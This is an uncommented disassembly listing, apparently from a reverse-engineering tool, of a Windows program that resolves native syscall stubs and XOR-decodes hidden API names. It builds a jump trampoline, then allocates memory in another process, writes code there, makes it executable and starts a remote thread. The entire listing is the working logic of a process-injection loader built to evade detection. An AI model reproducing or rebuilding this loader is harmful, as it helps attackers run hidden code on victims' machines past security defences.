lea rax, [rbp + 0x5050]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5070]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5090]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x50b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x50d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x50f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5110]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x513f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x5140]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x5140]
mov rcx, qword [rbp + 0x5be8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x5140]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x407ba6
lea rbx, [0x05150ee9]
jmp 0x407bad
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x53af]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x53af]
lea rax, [rbp + 0x5380]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x5360]
lea rdx, [rbp + 0x5380]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5340]
lea rdx, [rbp + 0x5360]
lea r8, [0x05150ee3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5320]
lea rdx, [rbp + 0x5340]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5300]
lea rdx, [rbp + 0x5320]
lea r8, [0x05150f2f]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x52e0]
lea rdx, [rbp + 0x5300]
lea r8, [0x05150edb]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x52c0]
lea rdx, [rbp + 0x52e0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x52a0]
lea rdx, [rbp + 0x52c0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5280]
lea rdx, [rbp + 0x52a0]
lea r8, [0x05150f35]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5260]
lea rdx, [rbp + 0x5280]
lea r8, [0x05150f23]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5240]
lea rdx, [rbp + 0x5260]
lea r8, [0x05150f2d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5220]
lea rdx, [rbp + 0x5240]
lea r8, [0x05150f1d]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5200]
lea rdx, [rbp + 0x5220]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x51e0]
lea rdx, [rbp + 0x5200]
lea r8, [0x05150ed5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x51c0]
lea rdx, [rbp + 0x51e0]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x51a0]
lea rdx, [rbp + 0x51c0]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5180]
lea rdx, [rbp + 0x51a0]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5160]
lea rdx, [rbp + 0x5180]
lea r8, [0x05150f1f]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x5160]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x5160]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5180]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x51a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x51c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x51e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5200]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5220]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5240]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5260]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5280]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x52a0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x52c0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x52e0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5300]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5320]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5340]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5360]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5380]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x53af]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x53b0]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x53b0]
mov rcx, qword [rbp + 0x5be0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x53b0]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x407f96
lea rbx, [0x05150ee9]
jmp 0x407f9d
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x563f]
mov rcx, rax
call fcn.0046f000
lea rdx, [rbp + 0x563f]
lea rax, [rbp + 0x5610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x55f0]
lea rdx, [rbp + 0x5610]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x55d0]
lea rdx, [rbp + 0x55f0]
lea r8, [0x05150f1b]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x55b0]
lea rdx, [rbp + 0x55d0]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5590]
lea rdx, [rbp + 0x55b0]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5570]
lea rdx, [rbp + 0x5590]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5550]
lea rdx, [rbp + 0x5570]
lea r8, [0x05150edb]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5530]
lea rdx, [rbp + 0x5550]
lea r8, [0x05150edd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5510]
lea rdx, [rbp + 0x5530]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x54f0]
lea rdx, [rbp + 0x5510]
lea r8, [0x05150ecd]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x54d0]
lea rdx, [rbp + 0x54f0]
lea r8, [0x05150ee1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x54b0]
lea rdx, [rbp + 0x54d0]
lea r8, [0x05150ed7]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5490]
lea rdx, [rbp + 0x54b0]
lea r8, [0x05150ed1]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5470]
lea rdx, [rbp + 0x5490]
lea r8, [0x05150ee3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5450]
lea rdx, [rbp + 0x5470]
lea r8, [0x05150ed9]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5430]
lea rdx, [rbp + 0x5450]
lea r8, [0x05150ee5]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x5410]
lea rdx, [rbp + 0x5430]
lea r8, [0x05150ed3]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x53f0]
lea rdx, [rbp + 0x5410]
lea r8, [0x05150edf]
mov rcx, rax
call fcn.004b6f20
lea rax, [rbp + 0x53d0]
lea rdx, [rbp + 0x53f0]
lea r8, [0x05150ee7]
mov rcx, rax
call fcn.004b6f20
lea rdx, [rbp + 0x53d0]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x53d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x53f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5410]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5430]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5450]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5470]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5490]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x54b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x54d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x54f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5510]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5530]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5550]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5570]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5590]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x55b0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x55d0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x55f0]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x5610]
mov rcx, rax
call fcn.004a7590
lea rax, [rbp + 0x563f]
mov rcx, rax
call fcn.0046f030
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x5640]
mov rcx, rax
call fcn.004a6ad0
mov r9, qword [rbp + 0x5ba0]
mov r8, qword [rbp + 0x5bc0]
mov rdx, qword [rbp + 0x5b98]
lea rax, [rbp + 0x5640]
mov rcx, qword [rbp + 0x5bd8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5cb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x5b94], eax
lea rax, [rbp + 0x5640]
mov rcx, rax
call fcn.004a7590
cmp dword [rbp + 0x5b94], 0
je 0x4083b2
lea rbx, [0x05150ee9]
jmp 0x4083b9
lea rbx, [0x05150eee]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.00431ff0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
call fcn.00401c84
mov dword [rbp + 0x5b90], 0xffffffff
cmp dword [rbp + 0x5b90], 0
jne 0x4083fe
lea rcx, [0x05150f37]
call fcn.00401540
lea rax, [rbp + 0x5662]
lea rdx, [rbp + 0x566f]
mov rcx, rax
call fcn.00401e2c
lea rax, [rbp + 0x5662]
mov qword [rbp + 0x5b48], rax
mov rax, qword [rbp + 0x5b48]
mov qword [rbp + 0x5b40], rax
mov rax, qword [rbp + 0x5b40]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x4084da
mov rax, qword [rbp + 0x5b48]
mov rdx, qword [rbp + 0x5b48]
mov qword [rbp + 0x5b38], rdx
mov qword [rbp + 0x5b30], rax
mov dword [rbp + 0x5b2c], 0
cmp dword [rbp + 0x5b2c], 0xc
jg 0x4084d9
mov eax, dword [rbp + 0x5b2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b30]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5b2c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5b38]
mov eax, dword [rbp + 0x5b2c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5b2c], 1
jmp 0x40846e
nop
lea rax, [rbp + 0x5662]
mov rcx, rax
call fcn.00401911
mov qword [rbp + 0x5b88], rax
cmp qword [rbp + 0x5b88], 0xffffffffffffffff
jne 0x408504
mov ebx, 0
jmp 0x409efe
lea rax, [rbp + 0x5670]
lea rdx, [rbp + 0x56ae]
mov rcx, rax
call fcn.00401ea6
lea rax, [rbp + 0x5670]
mov qword [rbp + 0x5b20], rax
mov rax, qword [rbp + 0x5b20]
mov qword [rbp + 0x5b18], rax
mov rax, qword [rbp + 0x5b18]
movzx eax, byte [rax + 0x3c]
test al, al
setne al
test al, al
je 0x4085e0
mov rax, qword [rbp + 0x5b20]
mov rdx, qword [rbp + 0x5b20]
mov qword [rbp + 0x5b10], rdx
mov qword [rbp + 0x5b08], rax
mov dword [rbp + 0x5b04], 0
cmp dword [rbp + 0x5b04], 0x3c
jg 0x4085df
mov eax, dword [rbp + 0x5b04]
movsxd rdx, eax
mov rax, qword [rbp + 0x5b08]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5b04]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5b10]
mov eax, dword [rbp + 0x5b04]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5b04], 1
jmp 0x408574
nop
lea rdx, [rbp + 0x5670]
lea rax, [rbp + 0x2290]
mov rcx, qword [rbp + 0x5b88]
mov r8, rcx
mov rcx, rax
call fcn.00401ac2
mov rax, qword [rbp + 0x2290]
cmp rax, 0xffffffffffffffff
je 0x40861a
mov rax, qword [rbp + 0x2298]
cmp rax, 0xffffffffffffffff
jne 0x408624
mov ebx, 0
jmp 0x409efe
mov rax, qword [rbp + 0x2290]
mov qword [rbp + 0x5b80], rax
lea rax, [rbp + 0x56af]
lea rdx, [rbp + 0x56be]
mov rcx, rax
call fcn.004020a0
lea rax, [rbp + 0x56af]
mov qword [rbp + 0x5af8], rax
mov rax, qword [rbp + 0x5af8]
mov qword [rbp + 0x5af0], rax
mov rax, qword [rbp + 0x5af0]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x40870e
mov rax, qword [rbp + 0x5af8]
mov rdx, qword [rbp + 0x5af8]
mov qword [rbp + 0x5ae8], rdx
mov qword [rbp + 0x5ae0], rax
mov dword [rbp + 0x5adc], 0
cmp dword [rbp + 0x5adc], 0xe
jg 0x40870d
mov eax, dword [rbp + 0x5adc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5ae0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5adc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5ae8]
mov eax, dword [rbp + 0x5adc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5adc], 1
jmp 0x4086a2
nop
lea rbx, [rbp + 0x56af]
lea rcx, str.Kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b78], rax
lea rax, [rbp + 0x2288]
mov rdx, qword [rbp + 0x5b78]
mov qword [rax], rdx
mov qword [rbp + 0x2270], 0
mov qword [rbp + 0x2278], 0
mov dword [rbp + 0x2280], 0
mov word [rbp + 0x2284], 0
mov byte [rbp + 0x2270], 0x48
mov byte [rbp + 0x2271], 0xb8
mov byte [rbp + 0x227a], 0x49
mov byte [rbp + 0x227b], 0xc7
mov byte [rbp + 0x227c], 0xc0
mov byte [rbp + 0x227d], 1
mov byte [rbp + 0x2281], 0x48
mov byte [rbp + 0x2282], 0x31
mov byte [rbp + 0x2283], 0xd2
mov byte [rbp + 0x2284], 0xff
mov byte [rbp + 0x2285], 0xe0
movzx eax, byte [rbp + 0x2288]
mov byte [rbp + 0x2272], al
movzx eax, byte [rbp + 0x2289]
mov byte [rbp + 0x2273], al
movzx eax, byte [rbp + 0x228a]
mov byte [rbp + 0x2274], al
movzx eax, byte [rbp + 0x228b]
mov byte [rbp + 0x2275], al
movzx eax, byte [rbp + 0x228c]
mov byte [rbp + 0x2276], al
movzx eax, byte [rbp + 0x228d]
mov byte [rbp + 0x2277], al
movzx eax, byte [rbp + 0x228e]
mov byte [rbp + 0x2278], al
movzx eax, byte [rbp + 0x228f]
mov byte [rbp + 0x2279], al
mov qword [rbp + 0x2268], 0
mov qword [rbp + 0x2260], 0
mov dword [rbp + 0x224c], 0
mov qword [rbp + 0x2240], 0xe
mov qword [rbp + 0x2238], 0x16
mov r10, qword [0x0517c048]
lea rcx, [rbp + 0x2240]
lea rdx, [rbp + 0x2268]
mov rax, qword [rbp + 0x5b80]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x56c0]
lea rdx, [rbp + 0x56bf]
mov rcx, rax
call fcn.0040212a
mov rax, qword [rbp + 0x56c0]
mov rdx, qword [rbp + 0x56c8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x56d0]
mov rdx, qword [rbp + 0x56d8]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x56e0]
mov qword [rbp + 0x60], rax
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.00421b40
mov r10, qword [0x0517c048]
lea rcx, [rbp + 0x2238]
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x5b80]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x56f0]
lea rdx, [rbp + 0x56ef]
mov rcx, rax
call fcn.0040227c
mov rax, qword [rbp + 0x56f0]
mov rdx, qword [rbp + 0x56f8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5700]
mov rdx, qword [rbp + 0x5708]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov eax, dword [rbp + 0x5710]
mov dword [rbp + 0x60], eax
movzx eax, word [rbp + 0x5714]
mov word [rbp + 0x64], ax
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.00421a70
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x571d]
mov rcx, rax
call fcn.004023be
mov r8, qword [rbp + 0x2260]
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5ad0], rax
mov rax, qword [rbp + 0x5ad0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x408a7e
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5ac8], rdx
mov qword [rbp + 0x5ac0], rax
mov dword [rbp + 0x5abc], 0
cmp dword [rbp + 0x5abc], 0xd
jg 0x408a7d
mov eax, dword [rbp + 0x5abc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5ac0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5abc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5ac8]
mov eax, dword [rbp + 0x5abc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5abc], 1
jmp 0x408a12
nop
lea rax, [rbp + 0x222a]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5ab8], 0
cmp dword [rbp + 0x5ab8], 0xd
jg 0x408ac0
mov eax, dword [rbp + 0x5ab8]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5ab8], 1
jmp 0x408a9e
nop
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x571e]
mov rcx, rax
call fcn.00402440
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x222a], rax
mov eax, dword [rbp + 0x48]
mov dword [rbp + 0x2232], eax
movzx eax, word [rbp + 0x4c]
mov word [rbp + 0x2236], ax
mov r8, qword [rbp + 0x2268]
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5ab0], rax
mov rax, qword [rbp + 0x5ab0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x408bb2
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5aa8], rdx
mov qword [rbp + 0x5aa0], rax
mov dword [rbp + 0x5a9c], 0
cmp dword [rbp + 0x5a9c], 0xd
jg 0x408bb1
mov eax, dword [rbp + 0x5a9c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5aa0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5a9c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5aa8]
mov eax, dword [rbp + 0x5a9c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a9c], 1
jmp 0x408b46
nop
lea rax, [rbp + 0x222a]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5a70], 0
cmp dword [rbp + 0x5a70], 0xd
jg 0x408bf4
mov eax, dword [rbp + 0x5a70]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5a70], 1
jmp 0x408bd2
nop
mov r10, qword [0x0517c050]
lea rax, [rbp + 0x2b72]
mov qword [rbp + 0x5a90], rax
mov rax, qword [rbp + 0x5a90]
mov qword [rbp + 0x5a88], rax
mov rax, qword [rbp + 0x5a88]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x408cc2
mov rax, qword [rbp + 0x5a90]
mov rdx, qword [rbp + 0x5a90]
mov qword [rbp + 0x5a80], rdx
mov qword [rbp + 0x5a78], rax
mov dword [rbp + 0x5a74], 0
cmp dword [rbp + 0x5a74], 0xb
jg 0x408cc1
mov eax, dword [rbp + 0x5a74]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a78]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5a74]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5a80]
mov eax, dword [rbp + 0x5a74]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a74], 1
jmp 0x408c56
nop
lea r8, [rbp + 0x2b72]
mov rdx, qword [rbp + 0x2268]
mov rax, qword [rbp + 0x5b80]
lea rcx, [rbp + 0x2258]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x5720]
lea rdx, [rbp + 0x571f]
mov rcx, rax
call fcn.004024c2
mov rax, qword [rbp + 0x5720]
mov rdx, qword [rbp + 0x5728]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5730]
mov rdx, qword [rbp + 0x5738]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov rax, qword [rbp + 0x5740]
mov qword [rbp + 0x60], rax
movzx eax, word [rbp + 0x5748]
mov word [rbp + 0x68], ax
movzx eax, byte [rbp + 0x574a]
mov byte [rbp + 0x6a], al
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.00421c10
mov r10, qword [0x0517c050]
mov r9, qword [rbp + 0x2238]
mov rdx, qword [rbp + 0x2260]
lea r8, [rbp + 0x2270]
mov rax, qword [rbp + 0x5b80]
lea rcx, [rbp + 0x2258]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x5750]
lea rdx, [rbp + 0x574f]
mov rcx, rax
call fcn.0040262c
mov rax, qword [rbp + 0x5750]
mov rdx, qword [rbp + 0x5758]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
mov rax, qword [rbp + 0x5760]
mov rdx, qword [rbp + 0x5768]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movzx eax, byte [rbp + 0x5770]
mov byte [rbp + 0x60], al
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp + 0x40]
mov rcx, rax
call fcn.004219a0
cmp dword [rbp + 0x5b90], 0
je 0x408eb3
lea rax, [rbp + 0x5780]
lea rdx, [rbp + 0x577f]
mov rcx, rax
call fcn.00402746
mov rax, qword [rbp + 0x5780]
mov rdx, qword [rbp + 0x5788]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5790]
mov rdx, qword [rbp + 0x5798]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x57a0]
mov rdx, qword [rbp + 0x57a8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 0x57b0]
mov rdx, qword [rbp + 0x57b8]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x57c0]
mov rdx, qword [rbp + 0x57c8]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movzx eax, byte [rbp + 0x57d0]
mov byte [rbp + 0x30], al
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00421ce0
mov ebx, 1
jmp 0x409efe
mov r10, qword [0x0517c058]
lea r8, [rbp + 0x2238]
lea rdx, [rbp + 0x2260]
mov rax, qword [rbp + 0x5b80]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x57e0]
lea rdx, [rbp + 0x57df]
mov rcx, rax
call fcn.004029e0
mov rax, qword [rbp + 0x57e0]
mov rdx, qword [rbp + 0x57e8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x57f0]
mov rdx, qword [rbp + 0x57f8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x5800]
mov byte [rbp], al
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.004219a0
mov r10, qword [0x0517c060]
mov rcx, qword [rbp + 0x2268]
mov rdx, qword [rbp + 0x2260]
mov r8, qword [rbp + 0x5b80]
lea rax, [rbp + 0x2250]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x5810]
lea rdx, [rbp + 0x580f]
mov rcx, rax
call fcn.00402afa
mov rax, qword [rbp + 0x5810]
mov rdx, qword [rbp + 0x5818]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5820]
mov rdx, qword [rbp + 0x5828]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x5830]
mov byte [rbp], al
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.004219a0
mov r9, qword [0x0517c070]
mov rax, qword [rbp + 0x2250]
mov r8d, 0
mov edx, 0xff
mov rcx, rax
call r9
mov dword [rbp + 0x5b90], eax
